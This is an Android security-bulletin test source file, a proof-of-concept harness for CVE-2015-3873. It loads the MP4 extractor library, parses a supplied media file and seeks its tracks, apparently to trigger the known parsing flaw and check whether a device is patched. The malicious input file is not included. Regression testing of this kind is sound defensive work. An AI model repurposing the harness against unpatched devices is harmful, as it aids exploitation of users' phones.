hostsidetests/securitybulletin/securityPatch/CVE-2015-3873/poc.cpp

/**
 * Copyright (C) 2020 The Android Open Source Project
 *
 * Licensed under the Apache License, Version 2.0 (the "License");
 * you may not use this file except in compliance with the License.
 * You may obtain a copy of the License at
 *
 *      http://www.apache.org/licenses/LICENSE-2.0
 *
 * Unless required by applicable law or agreed to in writing, software
 * distributed under the License is distributed on an "AS IS" BASIS,
 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 * See the License for the specific language governing permissions and
 * limitations under the License.
 */
#include "../includes/common.h"
#include <stdlib.h>

//This PoC is only for 64-bit builds
#if _64_BIT
#include <dlfcn.h>
#include <media/DataSource.h>
#include <media/stagefright/FileSource.h>
#include <media/stagefright/MediaExtractor.h>
#include <media/IMediaExtractor.h>
#include <media/stagefright/MetaData.h>
#include <media/MediaTrack.h>
#define LIBNAME "/system/lib64/extractors/libmp4extractor.so"
#define LIBNAME_APEX "/apex/com.android.media/lib64/extractors/libmp4extractor.so"
#define CONVERSION_FACTOR_SEC_TO_MICROSEC 1000000

using namespace android;
#endif /* _64_BIT */

int main(int argc, char **argv) {
    (void) argc;
    (void) argv;

//This PoC is only for 64-bit builds
#if _64_BIT
    if (argc < 2) {
        return EXIT_FAILURE;
    }

    void *libHandle = dlopen(LIBNAME, RTLD_NOW | RTLD_LOCAL);
    if (!libHandle) {
        libHandle = dlopen(LIBNAME_APEX, RTLD_NOW | RTLD_LOCAL);
        if (!libHandle) {
            return EXIT_FAILURE;
        }
    }

    GetExtractorDef getDef = (GetExtractorDef) dlsym(libHandle, "GETEXTRACTORDEF");
    if (!getDef) {
        dlclose(libHandle);
        return EXIT_FAILURE;
    }

    sp < DataSource > dataSource = new FileSource(argv[1]);
    if (!dataSource) {
        dlclose(libHandle);
        return EXIT_FAILURE;
    }

    void *meta = nullptr;
    void* creator = nullptr;
    FreeMetaFunc freeMeta = nullptr;
    float confidence = 0.0f;
    if (getDef().def_version == EXTRACTORDEF_VERSION_NDK_V1) {
        creator = (void*) getDef().u.v2.sniff(dataSource->wrap(), &confidence,
                                              &meta, &freeMeta);
    } else if (getDef().def_version == EXTRACTORDEF_VERSION_NDK_V2) {
        creator = (void*) getDef().u.v3.sniff(dataSource->wrap(), &confidence,
                                              &meta, &freeMeta);
    }
    if (!creator) {
        dlclose(libHandle);
        return EXIT_FAILURE;
    }

    CMediaExtractor *mp4Extractor = ((CreatorFunc) creator)(dataSource->wrap(),
                                                            meta);
    if (!mp4Extractor) {
        dlclose(libHandle);
        return EXIT_FAILURE;
    }

    if (meta != nullptr && freeMeta != nullptr) {
        freeMeta(meta);
    }

    MediaExtractorCUnwrapper *mediaExtractorCUnwrapper =
            new MediaExtractorCUnwrapper(mp4Extractor);
    if (!mediaExtractorCUnwrapper) {
        dlclose(libHandle);
        return EXIT_FAILURE;
    }

    //seek to 10 seconds in the mp4 file
    int64_t seekTimeUs = 10 * CONVERSION_FACTOR_SEC_TO_MICROSEC;
    size_t numTracks = mediaExtractorCUnwrapper->countTracks();
    for (size_t i = 0; i < numTracks; ++i) {
        MetaDataBase metaData;
        MediaTrack *mediaTrack = mediaExtractorCUnwrapper->getTrack(i);
        mediaExtractorCUnwrapper->getTrackMetaData(
                metaData, i, MediaExtractor::kIncludeExtensiveMetaData);
        MediaTrack::ReadOptions options;
        if (seekTimeUs >= 0) {
            options.setSeekTo(seekTimeUs,
                              MediaTrack::ReadOptions::SEEK_PREVIOUS_SYNC);
        }
        if (mediaTrack) {
            MediaBufferBase *mbuf = nullptr;
            mediaTrack->start();
            mediaTrack->read(&mbuf, &options);
        }
    }
#endif /* _64_BIT */
    return EXIT_SUCCESS;
}